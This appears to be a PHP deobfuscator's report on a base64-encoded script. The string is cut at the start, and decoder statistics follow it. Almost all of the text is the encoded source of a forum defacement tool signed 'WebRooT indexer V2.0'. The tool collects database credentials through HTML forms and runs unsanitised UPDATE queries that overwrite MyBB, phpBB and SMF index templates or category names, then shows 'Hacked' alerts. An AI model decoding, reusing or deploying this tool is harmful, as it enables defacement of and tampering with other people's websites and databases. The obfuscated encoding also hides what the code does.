OiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2
OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+IAogICAgICAgICAgPGZvbnQgZmFjZT0n
QXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EYnNpZnJlPGJyPjwvZm9udD48aW5wdXQgdHlwZT1wYXNz
d29yZCBuYW1lPW15YmJkYnAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6
ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7
IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4gCiAgICAgICAgICA8Zm9udCBmYWNlPSdB
cmlhbCcgY29sb3I9JyMwMDAwMDAnPmluZGV4aW4gWWF6aWxhY2FnaSBCb2x1bTwvZm9udD48YnI+
PHRleHRhcmVhIG5hbWU9bXliYmluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnIHN0eWxlPSdjb2xv
cjogIzAwMDAwMDsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+YnVyYXlhIGluZGV4aW5peiBn
ZWxlY2VrLj9uZGV4aSB5YXogcG9zdGFsYSBrYXkgZ2l0c2luLjwvdGV4dGFyZWE+PGJyPiAKICAg
ICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nS2F5IEdpdHNpbiEnID48L2Zvcm0+PC9j
ZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsgCmRpZSgpOyAKfSAKJG15YmJfZGJo
ID0gJF9QT1NUWydteWJiZGJoJ107IAokbXliYl9kYnUgPSAkX1BPU1RbJ215YmJkYnUnXTsgCiRt
eWJiX2RibiA9ICRfUE9TVFsnbXliYmRibiddOyAKJG15YmJfZGJwID0gJF9QT1NUWydteWJiZGJw
J107IAokbXliYl9pbmRleCA9ICRfUE9TVFsnbXliYmluZGV4J107IAoKaWYgKCFlbXB0eSgkbXli
Yl9kYmgpICYmICFlbXB0eSgkbXliYl9kYnUpICYmICFlbXB0eSgkbXliYl9kYm4pICYmICFlbXB0
eSgkbXliYl9pbmRleCkpIAp7IApteXNxbF9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15
YmJfZGJwKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7IApteXNxbF9zZWxlY3RfZGIoJG15YmJfZGJu
KSBvciBkaWUobXlzcWxfZXJyb3IoKSk7IAokcHJlZml4PSJteWJiXyI7IAokbG9saTcgPSAiVVBE
QVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4iJyBX
SEVSRSB0aXRsZT0naW5kZXgnIjsgCgokcmVzdWx0ID0gbXlzcWxfcXVlcnkoJGxvbGk3KSBvciBk
aWUgKG15c3FsX2Vycm9yKCkpOyAKCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ015QkIgSGFja2VkJyk7
PC9zY3JpcHQ+IjsgCn0gCi8vUGhwQkIgCmlmIChpc3NldCgkX1BPU1RbJ3BocGJiJ10pKSAKeyAK
ZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPiAKPHRyPjx0ZD4gCjxj
ZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz49PSBQSFBCQiBpbmRleGVy
ID09PC9mb250PjwvY2VudGVyPiAKICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9u
PScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48
YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBocGJiZGJoIHZhbHVlPWxvY2FsaG9zdCBzaXplPSc1
MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRh
aG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZG
Ric+PGJyPiAKICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+RGJL
dWxsYW5pY2k8YnI+PC9mb250PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1waHBiYmRidSBzaXplPSc1
MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRh
aG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZG
Ric+PGJyPiAKICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+RGJh
ZGk8YnI+PC9mb250PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1waHBiYmRibiBzaXplPSc1MCcgc3R5
bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsg
Ym9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJy
PiAKICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+RGJzaWZyZTxi
cj48L2ZvbnQ+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1waHBiYmRicCBzaXplPSc1MCcgc3R5
bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsg
Ym9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJy
PiAKICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+WWF6aSBWZXlh
ICBLT0Q8YnI+PC9mb250PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1waHBiYmthdCBzaXplPScxMDAn
IHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhv
bWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYn
Pjxicj4gCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRlZ2lz
ZWNlayBLQVRFR09SSSBJRCBzaTxicj48L2ZvbnQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWthdGlk
IHNpemU9JzEwMCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1m
YW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xv
cjogI0ZGRkZGRic+PGJyPiAKICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nS2F5
IEdpdHNpbiEnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+Ijsg
CmRpZSgpOyAKfSAKJHBocGJiX2RiaCA9ICRfUE9TVFsncGhwYmJkYmgnXTsgCiRwaHBiYl9kYnUg
PSAkX1BPU1RbJ3BocGJiZGJ1J107IAokcGhwYmJfZGJuID0gJF9QT1NUWydwaHBiYmRibiddOyAK
JHBocGJiX2RicCA9ICRfUE9TVFsncGhwYmJkYnAnXTsgCiRwaHBiYl9rYXQgPSAkX1BPU1RbJ3Bo
cGJia2F0J107IAoka2F0ZWdvcmlpZD0kX1BPU1RbJ2thdGlkJ107IAoKaWYgKCFlbXB0eSgkcGhw
YmJfZGJoKSAmJiAhZW1wdHkoJHBocGJiX2RidSkgJiYgIWVtcHR5KCRwaHBiYl9kYm4pICYmICFl
bXB0eSgkcGhwYmJfa2F0KSkgCnsgCm15c3FsX2Nvbm5lY3QoJHBocGJiX2RiaCwkcGhwYmJfZGJ1
LCRwaHBiYl9kYnApIG9yIGRpZShteXNxbF9lcnJvcigpKTsgCm15c3FsX3NlbGVjdF9kYigkcGhw
YmJfZGJuKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7IAoKCiRsb2xpMTAgPSAiVVBEQVRFIHBocGJi
X2NhdGVnb3JpZXMgIFNFVCBjYXRfdGl0bGU9JyIuJHBocGJiX2thdC4iJyBXSEVSRSBjYXRfaWQ9
JyIuJGthdGVnb3JpaWQuIiciOyAKCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkbG9saTEwKSBvciBk
aWUgKG15c3FsX2Vycm9yKCkpOyAKCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1BocEJCIEhhY2tlZCcp
Ozwvc2NyaXB0PiI7IAp9IAovL1NtZkhBQ0sgCmlmIChpc3NldCgkX1BPU1RbJ3NtZiddKSkgCnsg
CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4gCjx0cj48dGQ+IAo8
Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+PT0gU01GIEluZGV4ZXIg
PT08L2ZvbnQ+PC9jZW50ZXI+IAogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249
Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxi
cj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c21mZGJoIHZhbHVlPWxvY2FsaG9zdCBzaXplPSc1MCcg
c3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9t
YTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+
PGJyPiAKICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+RGJLdWxs
YW5pY2k8YnI+PC9mb250PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zbWZkYnUgc2l6ZT0nNTAnIHN0
eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7
IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxi
cj4gCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRiYWRpPGJy
PjwvZm9udD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c21mZGJuIHNpemU9JzUwJyBzdHlsZT0nZm9u
dC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6
IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+IAogICAg
ICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EYnNpZnJlPGJyPjwvZm9u
dD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXNtZmRicCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQt
c2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAx
cHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPiAKICAgICAg
ICAgICAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPllhemkgWWFk
YSBLT0Q8YnI+PC9mb250PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zbWZfaW5kZXggc2l6ZT0nMTAw
JyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFo
b21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZG
Jz48YnI+IAogICAgICAgICAgICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAw
MDAwMCc+RGVnaXNlY2VrIEtBVEVHT1JJIElEIHNpIDxicj48L2ZvbnQ+PGlucHV0IHR5cGU9dGV4
dCBuYW1lPWthdGlkIHNpemU9JzEwMCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAw
MDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFj
a2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPiAKCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJt
aXQgdmFsdWU9J0theSBHaXRzaW4hJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxl
PjwvY2VudGVyPiI7IApkaWUoKTsgCn0gCiRzbWZfZGJoID0gJF9QT1NUWydzbWZkYmgnXTsgCiRz
bWZfZGJ1ID0gJF9QT1NUWydzbWZkYnUnXTsgCiRzbWZfZGJuID0gJF9QT1NUWydzbWZkYm4nXTsg
CiRzbWZfZGJwID0gJF9QT1NUWydzbWZkYnAnXTsgCiRzbWZfaW5kZXggPSAkX1BPU1RbJ3NtZl9p
bmRleCddOyAKJHNtZl9rYXRpZD0kX1BPU1RbJ2thdGlkJ107IAoKaWYgKCFlbXB0eSgkc21mX2Ri
aCkgJiYgIWVtcHR5KCRzbWZfZGJ1KSAmJiAhZW1wdHkoJHNtZl9kYm4pICYmICFlbXB0eSgkc21m
X2luZGV4KSkgCnsgCm15c3FsX2Nvbm5lY3QoJHNtZl9kYmgsJHNtZl9kYnUsJHNtZl9kYnApIG9y
IGRpZShteXNxbF9lcnJvcigpKTsgCm15c3FsX3NlbGVjdF9kYigkc21mX2Ribikgb3IgZGllKG15
c3FsX2Vycm9yKCkpOyAKJHByZWZpeD0ic21mXyI7IAokbG9saTEyID0gIlVQREFURSAiLiRwcmVm
aXguImNhdGVnb3JpZXMgU0VUIG5hbWU9JyIuJHNtZl9pbmRleC4iJyBXSEVSRSBJRF9DQVQ9JyIu
JHNtZl9rYXRpZC4iJyI7IAoKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRsb2xpMTIpIG9yIGRpZSAo
bXlzcWxfZXJyb3IoKSk7IAoKZWNobyAiPHNjcmlwdD5hbGVydCgnc21mIEhhY2tlZCcpOzwvc2Ny
aXB0PiI7IAp9IAoKCi8vQWx0IHRhcmFmIAplY2hvICIgCgoKPGJyPjx0YWJsZSB3aWR0aD0nMTAw
JScgaGVpZ2h0PScxJyBib3JkZXI9JzEnIGNlbGxQYWRkaW5nPTUgY2VsbFNwYWNpbmc9MCBib3Jk
ZXJDb2xvckRhcms9IzY2NjY2NiBpZD0ndGFibGUxJyBzdHlsZT0nQk9SREVSLUNPTExBUFNFOiBj
b2xsYXBzZSc+IAo8dHI+IAo8dGQgd2lkdGg9JzI1JScgaGVpZ2h0PScxJyB2YWxpZ249J3RvcCcg
c3R5bGU9J2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogIzAwMDAwMDsgZm9udC1zaXplOiAx
MXB4Jz4gCiAgPGNlbnRlcj48cD48c3Ryb25nPjxoMj5FZGl0ZWQgQnkgV2ViUm9vVDwvc3Ryb25n
PjwvcD48L2gyPjwvY2VudGVyPgogIDxjZW50ZXI+PHA+PHN0cm9uZz4uLjo6IGluZGV4ZXIgVjIu
MCA6Oi4uPC9zdHJvbmc+PC9wPjwvY2VudGVyPgo8cD48c3Ryb25nPjwvc3Ryb25nPjxicj4gCjwv
cD48L3RkPiAKPC90cj48L3RhYmxlPiI7IAoKCgovLyBLb2QgYml0aXNpIAo/PiA=';
 echo(base64_decode($aa));;

Function Calls

base64_decode 1

Variables

$aa PHAgYWxpZ249InJpZ2h0Ij48L3A+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+..

Stats

MD5 306028acba5802a1f0009cc77199c7ee
Eval Count 0
Decode Time 60 ms